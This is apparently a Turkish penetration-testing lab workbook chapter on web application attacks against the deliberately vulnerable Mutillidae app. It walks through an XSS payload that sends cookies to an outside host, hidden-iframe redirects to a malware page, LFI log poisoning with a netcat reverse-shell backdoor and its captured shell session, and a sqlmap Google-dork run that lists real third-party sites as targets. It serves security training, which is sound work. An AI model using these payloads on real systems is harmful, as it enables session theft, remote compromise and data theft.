3. parti firma risklerinden nasıl korunulur?
 
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware SaldırılarıBir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
Bir Ransomware Saldırısının Anatomisi. A'dan Z'ye Ransomware Saldırıları
 
Webinar: Popüler black marketler
Webinar: Popüler black marketlerWebinar: Popüler black marketler
Webinar: Popüler black marketler
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
 
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
Açık Kaynak Kodlu Çözümler Kullanarak SOC Yönetimi SOAR & IRM Webinar - 2020
 
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm ÖnerileriDNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
DNS Protokolüne Yönelik Güncel Saldırı Teknikleri & Çözüm Önerileri
 
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini ArttırmakWebinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
Webinar: Siber Güvenlikte Olgunluk Seviyesini Arttırmak
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-II
 
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner GüvenliğiWebinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
Webinar Sunumu: Saldırı, Savunma ve Loglama Açısından Konteyner Güvenliği
 
Hacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem AnaliziHacklenmiş Windows Sistem Analizi
Hacklenmiş Windows Sistem Analizi
 
Open Source SOC Kurulumu
Open Source SOC KurulumuOpen Source SOC Kurulumu
Open Source SOC Kurulumu
 
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİRAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
RAKAMLARIN DİLİ İLE 2020 YILI SIZMA TESTLERİ
 
Siber Fidye 2020 Raporu
Siber Fidye 2020 RaporuSiber Fidye 2020 Raporu
Siber Fidye 2020 Raporu
 
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing RaporuBGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
BGA Türkiye Bankacılık Sektörü 1. Çeyrek Phishing Raporu
 
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu ÇözümlerSOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
SOC Kurulumu ve Yönetimi İçin Açık Kaynak Kodlu Çözümler
 
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of SecretsVeri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
Veri Sızıntıları İçinden Bilgi Toplama: Distributed Denial of Secrets
 
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi ToplamaAktif Dizin (Active Directory) Güvenlik Testleri - I:  Bilgi Toplama
Aktif Dizin (Active Directory) Güvenlik Testleri - I: Bilgi Toplama
 

WEB ve MOBİL SIZMA TESTLERİ

  • 1. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity PENTEST EĞİTİMİ UYGULAMA KİTABI BÖLÜM - 9
  • 2. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity İÇİNDEKİLER 9. WEB ve MOBİL SIZMA TESTLERİ BU KATEGORİDEKİ LAB UYGULAMA LİSTESİ 9.1. Nikto Kullanarak Web Uygulamasına Yönelik Statik Güvenlik Testleri 9.2. Netsparker Kullanılarak Web Uygulamalarının Zafiyetlerinin Tespit Edilmesi 9.3. SQLi Kullanarak Giriş Formu Aşma / Authentication Bypass 9.4. XSS Kullanarak Cookie Bilgilerinin Elde Edilmesi 9.5. Stored XSS Kullanarak Zararlı Yazılım Barındıran Sayfaya Yönlendirme 9.6. Local File Inclusion Kullanarak Sistemden Dosya Okuma 9.7. Local File Inclusion Kullanarak Sisteme Arka Kapı Yerleştirme 9.8. Web Uygulama Güvenlik Testlerinde İleri Seviye Sqlmap Kullanımı
  • 3. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 9.1. Nikto Kullanarak Web Uygulamasına/Sunucuya Yönelik Statik Güvenlik Testleri Amaç: Hedef sunucu veya uygulamadaki zafiyetleri statik tarama yöntemleri kullanarak tespit etmek Lab senaryosu: İçinde test scriptleri olan IIS 7 kurulu bir web sunucusu. (Herhangi bir web sunucusu ve uygulaması olabilir.) Kullanılan Araçlar: ● Nikto 2.1.4 Adımlar: 1. Adım: “nikto -list-plugins” komutu ile niktonun mevcut eklentileri listelenir. Listeden belli eklentilerin -Plugins parametresiyle belirtilebileceği gibi, hiçbir eklentinin seçilmediği nikto hepsini kullanacaktır. “nikto -host 6.6.6.154 -Display 4” komutu ile hedef sistemde tüm eklentiler denenecek şekilde nikto başlatılır. Display 4 ekranda gösterilecek detay seviyesidir. Tüm seviyeler ve diğer ayarlar nikto -Help komutu ile listelenebilir.
  • 4. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 9.2. NetsparkerKullanılarakWeb Uygulamalarının Zafiyetlerinin Tespit Edilmesi Amaç: Zafiyet tarama aracı olan netsparker ile hedef sistemlerin zafiyetlerinin taranarak tespit edilmesi. Kullanılan Araçlar: Netsparker Uygulama: Netsparker ticari bir yazılımdır. Web uygulamalarının güvenlik testlerini gerçekleştirmek üzere kullanılmaktadır. Uygulamanın deneme sürümü ürün sitesinden indirilebilmektedir, https://www.netsparker.com/web-vulnerability-scanner/download/ 1. Adım: Uygulama başlatılarak, hedef web uygulamasının adresi verilir;
  • 5. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 2. Adım: Eğer kimlik doğrulama alanları var ise ve hedef sistem giriş yapmış bir kullanıcı hakları ile sistemde zafiyet taraması gerçekleştirecek ise; sisteme giriş yapılacak kullanıcı hesap bilgileri tanımlanır. Burada admin/admin değerleri kullanılmaktadır.
  • 6. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 3. Adım: Taramanın başlatılması, Start Scan denilerek tarama başlatılabilir. Tarama bittiğinde elde edilen zafiyetler;
  • 7. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 9.3. SQLi Kullanarak Giriş Formu Aşma / Authentication Bypass Amaç: Hedef uygulamanın, giriş formundaki “sql injection” zafiyetini istismar ederek, sisteme yetkisiz giriş yapmak. Kullanılan Araçlar: ● Burp Suite Free 1.5 ● Mutillidae Adımlar: 1. Adım: Hedef giriş formu açılır (owasp top 10->A1->bypass auth->login), , kullanıcı adı ve parola alanlarında, sık kullanılan bir payload olan ‘ or ‘1’=’1 denenir. “Mutillidae security Level” 0 için bu payloadın başarıyla çalıştığı görülüyor. 2. Adım: Security level 1 olarak ayarlanıp, aynı payload denendiğinde “Dangerous characters detected. We can't allow these.....” diye başlayan bir hata mesajı alınıyor. Mesajın devamında yazdığı üzere, bir çeşit “blacklist” yöntemi uygulanıyor. Bu aşamada tarayıcı “proxy” olarak “burp suite” kullanacak gibi ayarlanır ve payload içermeyen bir giriş isteği gönderilir. “Burp suite” üzerinden yakalanan istek, “password” bölümüne 1. Adımdaki gibi yerleştirilip gönderilir. Bu şekilde, istemci taraflı korumanın aşıldığı görülmektedir.
  • 8. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 3. Adım: Farklı payloadları otomatik olarak denemek ve blacklist’in içermediği bir payload bulabilmek için, Burp suite’in “intruder” eklentisi kullanılabilir. Yakalanan istek, burp suit’in intruder eklentisine gönderilir. Girdi noktaları belirlenir (örnekte kısa sürmesi için sadece parola alanı seçilmiştir). Payloads tabından denenecek payloadların listesi eklenir. Sıklıkla kullanılan “sqli login” payloadlarının olduğu bir listeye “http://www.architectingsecurity.com/wp- content/uploads/authentication-bypass-list.txt” adresinden ulaşılabilir. Payload “options” bölümünden, “load” tıklanarak, liste yüklenir ve üst menüden “Intruder->start attack” denilerek saldırı başlatılır.
  • 9. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Dönen cevaplar(özellikle boyutu farklı olanlar) incelenerek, başarılı olan payloadlardan biri seçilip kullanılarak, sistem yetkisiz giriş yapılır.
  • 10. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 9.4. XSS Kullanarak Cookie Bilgilerinin Elde Edilmesi Amaç: XSS zafiyetini istismar ederek kullanıcıların cookie bilgilerini elde etmek. Lab senaryosu: Mutillidae kurulu web sunucusu. Kullanılan Araçlar: ● Burp Suite 1.5 Adımlar: 1. Adım: Hedef uygulamada XSS istismarı tespit edilir. Örnekte Mutillidae’nın persistent XSS bölümünde show-log sayfası kullanılmıştır. Hedef uygulama, sayfayı ziyaret eden kullanıcılara ait erişim loglarını listelemektedir. Buradaki user-agent alanına, xss payloadını yerleştirerek, loglara bakan adminin oturum bilgileri ele geçirilmeye çalışılmıştır. Öncelikle bilgileri kaydedecek sistem hazırlanır. Bu iş için basit bir PHP betiği(dil önemli değil) yazılır(get.php). 2. Adım: Tarayıcı Burp Suite’e yönlendirildikten sonra Mutillidae uygulamasının herhangi bir sayfası açılır. Burp Suite ile yakalanan isteğin user-agent bölümüne <script>document.location="http://kayıtsistemi.com/get.php?c="+encodeURIComponent (top.window.location+":"+document.cookie);</script> payloadı yerleştirilip istek yollanır.
  • 11. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Yönetici, log sayfasını kontrol ettiğinde payload çalışır ve url ve cookie bilgilerini alıp, karakter kaybı olmaması için encode edip, url ve cookie bölümlerini ayırmak için: koyup, kayıt sistemindeki betiğe, bu bilgileri get metodu ile yollar. URL’in de cookie ile beraber alınmasının sebebi, bazı uygulamalarda, oturum bilgilerinin bir bölümü url ile taşınabilmektedir. Bu gibi durumlarda, hedef kullanıcının cookie bilgilerini kullanmanın yanısıra, aynı url’yi de kullanmak gerekir. Bu yüzden, örnek uygulamada böyle bir durum söz konusu olmasa bile, bahsedilen durumu da karşılayan bir payload hazırlanmıştır.
  • 12. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 3. Adım: get.php isimli betiğin bulunduğu dizindeki sessions.txt dosyasının içeriğine bakılarak, kurbanın url ve cookie bilgileri listelenir. Daha az dikkat çekmesi açısından, gerçek testlerde, document.location ile sayfayı yönlendirmek yerine, kurbanın dikkatinden daha kolay kaçabilecek <img src= payload /> veya <iframe src=payload width=0 height=0 /> gibi farklı payloadlar kullanılabilir.
  • 13. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 9.5. Stored XSS Kullanarak ZararlıYazılım BarındıranSayfaya Yönlendirme Amaç: Stored XSS zafiyetini istismar ederek, zafiyetin bulunduğu sayfayı ziyaret eden tüm kullanıcıları, zararlı yazılım barındıran bir adrese yönlendirmek. Lab senaryosu: Mutillidae veya stored XSS bulunan başka web uygulaması kurulu web sunucusu. Kullanılan Araçlar: ● Iceweasel 18 Adımlar: 1. Adım: Stored XSS payloadı olarak <script>window.location="http://zararlısayfa.com"</script> girilir ve sayfayı ziyaret eden kullanıcılar, doğrudan “zararlısayfa.com” adresine yönlendirilirler. Eğer, kullanıcının bağlı olduğu sayfayı terk etmeden, dolayısıyla haberi olmadan, başka bir sayfaya bağlanması isteniyorsa, gizli iframe yöntemi kullanılabilir. Bu yöntemde de XSS payloadı olarak (XFS yani cross frame scripting de denilmektedir) <iframe style="position:absolute;top:-9999px" src="http://zararlısayfa.com"/></iframe> kullanılabilir. Test ortamında, payloadın çalıştığını doğrulamak için Mutillidae’nın Persistent XSS bölümünde, blog girdisi olarak girilir. Devamında bloglar listelenirken, tarayıcının durum çubuğunda (resimde sol altta) “zararlısayfa.com adresinden veri yükleniyor” gibi bir mesaj görünüyor olması gerekir.
  • 14. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity
  • 15. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 9.6. LocalFile Inclusion Kullanarak SistemdenDosyaOkuma Amaç: Hedef web uygulamasında var olan LFI(Local File Inclusion) açıklığı istismar edilerek, sistemden aşağıdaki dosyalar okunacaktır: ● /etc/hosts ● /etc/passwd ● /etc/issue Lab senaryosu: Örnek bir web sitesi (www.bga.com.tr) üzerinde ki mevcut alt dizinler keşfedilecektir. Kullanıcı adı parola korumalı alanların veya hassas kritik bilgilerin (dizin listeleme v.s) bulunacaktır. Kullanılan Araçlar: ● NOWASP (mutillidae) ● Firefox Browser Adımlar: 1. Adım: LFI açıklığı, çeşitli otomatik araçlar kullanılarak bulunabileceği gibi manuel testler ile de tespit edilebilir. Biz LFI inclusion açıklığı üzerinde barındıran NOWASP mutillidae uygulamasını, sistemimize kurup, onun üzerinden örneğimizi veriyoruz. İlgili uygulama http://sourceforge.net/projects/mutillidae/files/mutillidae-project/ adresinden indirilebilir. Mutillidae bir dosya olarak /var/www/ altına kopyalanır. root@bt:~# cp -R mutillidae/ /var/www/ Ardından apache ve mysql servisleri aşağıdaki gibi başlatılır. root@bt:~# service apache2 start root@bt:~# service mysql start 2. Adım: Browser aracılığı ile http://3.3.3.12/mutillidae şeklinde uygulamayı kurduğunuz sistemin ip adresini ve dizin ismini veriyoruz ve uygulamayı açıyoruz. Home butonu tıklandığında, aşağıdaki gibi bir sayfa karşımıza gelecektir.
  • 16. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 3. Adım: URL içerisinde bulunan page parametresi, LFI açıklığı var mı yok mu diye test edelim. Bunun için local sistemde yerini bildiğimiz dosyaları, bu parametreye input olarak verip, getirmesini isteyeceğiz. Öncelikle /etc/hosts dosyasını çağıralım. Bunun için bir kaç dizin geri çıkmamız gerekebilir. Bir dizin geri gelmek için ../ şeklinde bir ifade kullanabiliriz. Biz 3 dizin geri gelip localdeki /etc/hosts dosyasını okumaya çalışalım. Aşağıdaki gibi local dosyaya erişim yapılabilmiştir.
  • 17. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 4. Adım: Hedef sistem üzerindeki /etc/issue dosyasını okuyalım. Bu dosyada, hedef sistemin işletim sistemi bilgisi yazmaktadır. Aşağıda görüldüğü gibi Backtrack 5 R3 - 32 bit olduğunu görebiliriz. 5. Adım: Hedef sistem üzerindeki kullanıcıların bulunduğu /etc/passwd dosyasını görüntüleyelim.
  • 18. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 9.7. LocalFile Inclusion Kullanarak SistemeArka Kapı Yerleştirme Amaç: Bu makalede, Local File Inclusion(LFI) açıklığı barındıran bir sistem üzerine, arka kapı yerleştirip, nasıl shell alınabileceği anlatılmıştır. Lab senaryosu: LFI açıklığını barındıran, linux web sunucu üzerinde bulunan web uygulamasına, php ile hazırlanmış bir arka kapı yerleştirilecektir. Daha sonra, bu arka kapı ile saldırganın local sistemine, ters bağlantı ile shell elde edilecektir. Bu seneryodaki işlemler, LFI açıklığı istismari ile gerçekleştirilecektir. Ve sunucu üzerindeki access.log dosyası zehirlenecek, arka kapı php formatında buraya atılacaktır. Hedef sisteme atılacak arka kapı, işlevini netcat komutunun php ile sistemde çalıştırılması ile gerçekleştirecektir. Atılacak arka kapı: <?php shell_exec('nc -e /bin/sh 3.3.3.10 9090') ?> Kullanılan Araçlar: ● NOWASP ( Mutillidae) ● Burp Suite ● Netcat Adımlar: 1. Adım: LFI açıklığı, hedef sistem üzerindeki yeri bilinen bazı dosyaların, içeriğinin okunmasına imkan veren bir güvenlik açığıdır. Birçok web geliştiricisi tarafından önemsenmeyen, basite alınan bir açıklık olarak bilinir. Oysa LFI açıklıkları da tıpkı XSS açıklıkları gibi masum görünen ama oldukça tehlikleli açıklıklardandır. Local sistemimizde, BurpSuite uygulamasını çalıştırdıktan sonra öntanımlı çalıştığı port 8080 olduğu için (değiştirilmediğini varsayılıp) browserinizda 127.0.0.1:8080 olarak, proxy ayarlarınızı yapmanız gerekmektedir. Öncelikle, LFI(Local File Inclusion) açıklığı bulunan web sunucumuza, browser aracılığı ile bir bağlantı isteği gönderiyoruz ve talebimiz hedefe gitmeden önce, burp suite üzerinde Proxy/intercept altında, aşağıdaki gibi görebilir, değiştirebilir daha sora sunucuya gönderebilirsiniz. Talep ettiğimiz sayfa; http://3.3.3.12/mutillidae/index.php
  • 19. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 2. Adım: Mevcut parametreler üzerinde, daha rahat manipule işlemleri gerçekleştirmek için sağ tıklayıp, send to repeater diyoruz. Aşağıda yapılan http talebine ait çeşitli başlık bilgileri vardır. Biz burada, User-Agent başlık bilgisi ile ilgileneceğiz. Aşağıda da bize ait user agent başlık bilgisinin detayları görülebilir.
  • 20. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 3. Adım: Access.log dosyası, web sunucuya bağlantı kuran kullanıcılara ait çeşitli bilgileri loglar. Bu bilgilerden bazıları; ● Tarih-Saat ● Source IP adresi ● Http talep türü ● Talep edilen URL ● User-Agent bilgisi v.s Access.log dosyası kötü konfigüre edilmiş bir çok sunucuda ve özellikle paylaşımlı barındırma hizmeti veren sunucularda, LFI açıklığı ile erişilebilen bir dosyadır. Biz bu log dosyasına GET talebi ile User-Agent parametresine verdiğimiz değeri, hedefe enjekte edeceğiz. Şimdi saldırı seneryomuza geçmeden önce küçük bir php scripti ile access.log dosyasını zehirleyelim. PHP diline ait olan phpinfo() foksiyonunu çalıştırıp hedef üzerindeki etkisine bakalım. Bunun için User-Agent değerine aşağıdaki php scripti yazılır ve hedef sisteme gönderilir.
  • 21. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 4. Adım: Bu aşamadan sonra hedef sistem üzerinde LFI açıklığı kullanılarak, aşağıdaki gibi access.log dosyası çağrıldığında, bizim user-agent olarak gönderdiğimiz php scripti ilgili sayfada çalışacaktır. Aşağıdaki ekran görüntüsünde de görülebilecegi gibi hedefe ait php bilgilerini, ekrana verecektir. 5. Adım: LFI açıklığı barındıran hedef sistemde, bize reverse shell verecek php scriptimizi (<?php shell_exec('nc -e /bin/sh 3.3.3.10 9090') ?>) User-Agent olarak kullanıp, burp suite ile hedefe bir GET talebinde bulunuyoruz. Aşağıda yaptığımız http istek ve dönülen http cevap bilgisi görülebilir.
  • 22. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Yukarıdaki php scriptini (<?php shell_exec('nc -e /bin/sh 3.3.3.10 9090') ?>) user agent olarak kullanıp, hedef sistemin access.log dosyasına kaydettirdikten sonra browser aracılığı ile veya aşağıdaki gibi curl ile hedef sistemdeki bu dosyayayı çağırmamız, shell almamız için yeterli olacaktır. 6. Adım: 5. Adımdaki sayfaya bağlantı isteğinden önce local sistemimizde 9090 portunu netcat ile dinleme moduna almış olmamız gerekiyor. Aşağıdaki gibi netcat ile ilgili port dinleme moduna alınabilir. sh-3.2# nc -lv -p 9090 listening on [any] 9090 ... Ters bağlantı yapılacak portumuzu, dinleme moduna aldıktan sonra curl ile sayfayı çağıralım; 7.Adım: sh-3.2#
  • 23. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity curl –s http://3.3.3.12/mutillidae/index.php?page=../../../../../../../../../var/log/apache2/access.log Burada access.log dosyasının ekran görüntüsü çok büyük olduğu için verilmemiştir. Siz browser aracılığı ile de çağırabilirsiniz. URL çağrıldıktan sonra 3.3.3.10 IP adresine sahip local sistemimizde, dinleme moduna aldığımız netcat oturumuna bir bağlantının geldiğini, aşağıdaki gibi görebilirsiniz. Bundan sonra vereceğiniz tüm komutlar hedef web sunucunun /bin/sh shell'inde çalışacaktır. sh-3.2# nc -lv -p 9090 listening on [any] 9090 ... Warning: forward host lookup failed for n003-000-000-000.static.ge.com: Unknown host : Connection timed out connect to [3.3.3.12] from n003-000-000-000.static.ge.com [3.3.3.10] 43962 id uid=33(www-data) gid=33(www-data) groups=33(www-data) uname -a Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux w 07:43:17 up 22:46, 7 users, load average: 0.13, 0.22, 0.14 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root tty1 - Thu10 44:56m 5:33 0.00s /bin/bash /usr/ root pts/0 :0.0 Thu10 43:44m 0.24s 0.24s bash root pts/1 :0.0 Thu11 40:37m 4:57 4:57 /opt/metasploit root pts/2 :0.0 Thu11 15:23m 0.10s 0.10s bash root pts/3 :0.0 Fri09 1:22m 0.35s 0.35s bash root pts/4 :0.0 Fri09 0.00s 0.05s 0.00s nc -lv -p 4444 root pts/5 :0.0 Fri09 9:39 0.06s 0.06s bash cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh
  • 24. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin landscape:x:103:108::/var/lib/landscape:/bin/false messagebus:x:104:112::/var/run/dbus:/bin/false nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:105:113::/var/lib/mysql:/bin/false avahi:x:106:114::/var/run/avahi-daemon:/bin/false snort:x:107:115:Snort IDS:/var/log/snort:/bin/false statd:x:108:65534::/var/lib/nfs:/bin/false usbmux:x:109:46::/home/usbmux:/bin/false pulse:x:110:116::/var/run/pulse:/bin/false rtkit:x:111:117::/proc:/bin/false festival:x:112:29::/home/festival:/bin/false postgres:x:1000:1000::/home/postgres:/bin/sh haldaemon:x:113:122:Hardware abstraction layer,,,:/var/run/hald:/bin/false
  • 25. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 9.8. Web Uygulama GüvenlikTestlerindeİleri Seviye Sqlmap Kullanımı Amaç: Sqlmap kullanarak ileri seviye SQL injection istismarı Lab senaryosu: İleri düzey sqlmap komutları kullanılarak, sql injection açıklıklarının istismarına yönelik senaryo canlandırılmış ve detaylı bilgiler verilmiştir. Kullanılan Araçlar:  Sqlmap Adımlar: 1. Adım: Sqlmap açık kaynak kodlu sql injection açıklığı tespit ve istismar etme aracıdır. Girdi olarak verilen hedef web uygulamasının kullandığı veritabanı sistemine gönderdiği çeşitli sorgular/komutlar ile sistem üzerindeki sql injection varlığını ve tipini tespit eder. Verilen parametrelere göre çeşitli bilgileri, hedef veritabanından alır. Sqlmap ile hedef hakkında elde edilebilen bazı veriler;  Veritabanı türü ve versiyonu (--banner,--all)  Mevcut kullanılan veritabanı ve erişilebilen tüm veritabanı isimleri (--current-db, -- dbs)  Veritabanı tabloları(tables) ve bu tablolara ait kolonları(columns) (--tables, -- columns)  Veritabanı datası(--dump, --dump-all)  Veritabanı mevcut kullanıcısı ve tüm kullanıcılar(--current-user,--users)  Veritabanı kullanıcı parolası (--passwords)  Veritabanı kullanıcısının DB admin olup olmadığı bilgisi(--is-dba)  Hedef sunucu hakkında bilgi(İşletim sistemi, Uygulamanın kullanıldığı teknoloji vs. , -f) Sqlmap’e farklı tiplerde hedef belirtilebilmektedir;  URL (--url, -r )  Burp suite ve WebScarp proxy logu (--log , -l)  HTTP talepleri bir dosyadan okutulabilmektedir. (--r)  Google üzerinden URL toplayıp input olarak alabilmektidir.(-g)  /sqlmap/sqlmap.conf dosyası -c parametresi ile verilerek tüm konfigrasyon input olarak verilebilir. (-c) Sqlmap.conf dosyası oldukça ileri düzey parameterlere sahiptir. Yukarıda verilen girdiler bu conf dosyasına girilerek buradan okunması sağlanılabileceği gibi, çeşitli farklı işlemler de (WAF/IPS/IDS keşfi yapıp/yapmama, uzak sunucuda okunacak dosya, uzak sunucuda yürütülecek komut v.b ) yaptırılabilmektedir. 2. Adım:
  • 26. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity Not: Sqlmap ile çalışmaya başlamadan önce ilgili dizine girip sqlmap update edilmelidir. Bunun için aşağıdaki komut backtrack üzerinde kullanılabilir. root@bt:~# cd /pentest/database/sqlmap/;svn update;python2 sqlmap.py -- update 3. Adım: Sqlmap, -g parametresi ile belirli ifadeler (sqli açıklığı barındırdığı bilinen URL'ler) google üzerinden bulup, üzerindeki sql injection açıklığını istismar edebilmektedir. Sqlmap bulduğu URL'leri sıra ile exploit etmek isteyip istemediğimizi sormaktadır. root@bt:/pentest/database/sqlmap# ./sqlmap.py -g "inurl:index.php?id=" --dbs [14:35:17] [INFO] first request to Google to get the session cookie [14:35:18] [INFO] using Google result page #1 [14:35:25] [INFO] heuristics detected web page charset 'ISO-8859-2' [14:35:25] [INFO] sqlmap got 105 results for your Google dork expression, 100 of them are testable targets [14:35:25] [INFO] sqlmap got a total of 100 targets url 1: GET http://www.du.ac.in/index.php?id=165 do you want to test this url? [Y/n/q] > n url 2: GET http://www.uni-corvinus.hu/index.php?id=7745 do you want to test this url? [Y/n/q] > n url 3: GET http://www.harkavagrant.com/index.php?id=341 do you want to test this url? [Y/n/q] > 4. Adım: --data parametresi ile hedef URL'e ait post verisi manuel olarak da verilebilmektedir. --cookie parametresi ile hedef sisteme bağlanmak için cookie bilgisi verilebilmektedir. Parola korumalı hedeflerdeki sql injection açıkları bu şekilde kolaylıkla istismar edilebilmektedir.
  • 27. [PENTEST LAB ÇALIŞMALARI] BGA Bilgi Güvenliğ i A.Ş . | www.bga.com.tr | @bgasecurity 5. Adım: Sqlmap http kimlik doğrulama yöntemlerinden bacic,ntlm ve digest yöntemlerini desteklemektedir. Bu tür http kimlik doğrulama türleri ile korunan hedef sistemlere yönelik açıklıklar da istismar edilebilir. --auth-type Basic --auth-cred "user:pass" Taramalar http, https ve tor proxy üzerinden gerçekleştirilebilmektedir. Proxy kullanımı için --proxy parameteresi, proxy serverlar üzerinde kimlik dogrulama için --proxy-cred parametreleri kullanılmaktadır. --proxy Http --proxy-cred "user:pass" Hedef sunucu veya sunucu önünde bulunan WAF/IPS benzeri güvenlik cihazları bazı http header parametrelerini gelen istekte görmek isterler. Bunlardan bir kaçı user agent ve referer gibi başlık bilgileridir. Güvenlik cihazları üzerinde bulunan whitelistlerde tanımlı bazı user agentlar ile gelen client istekleri cevaplanır bunun dışında gelenler bloklanır. Sqlmap ile bu durum user agent için, -- user-agent veya --random-agent parametreleri ile atlatılabilmektedir. --user agent ile istenilen bir user agent header bilgisi input olarak verilebilmektedir. --random-agent paremetresi kullanılması durumunda ise ./txt/user-agent.txt dosyasındaki yaklaşık 2100 user agent 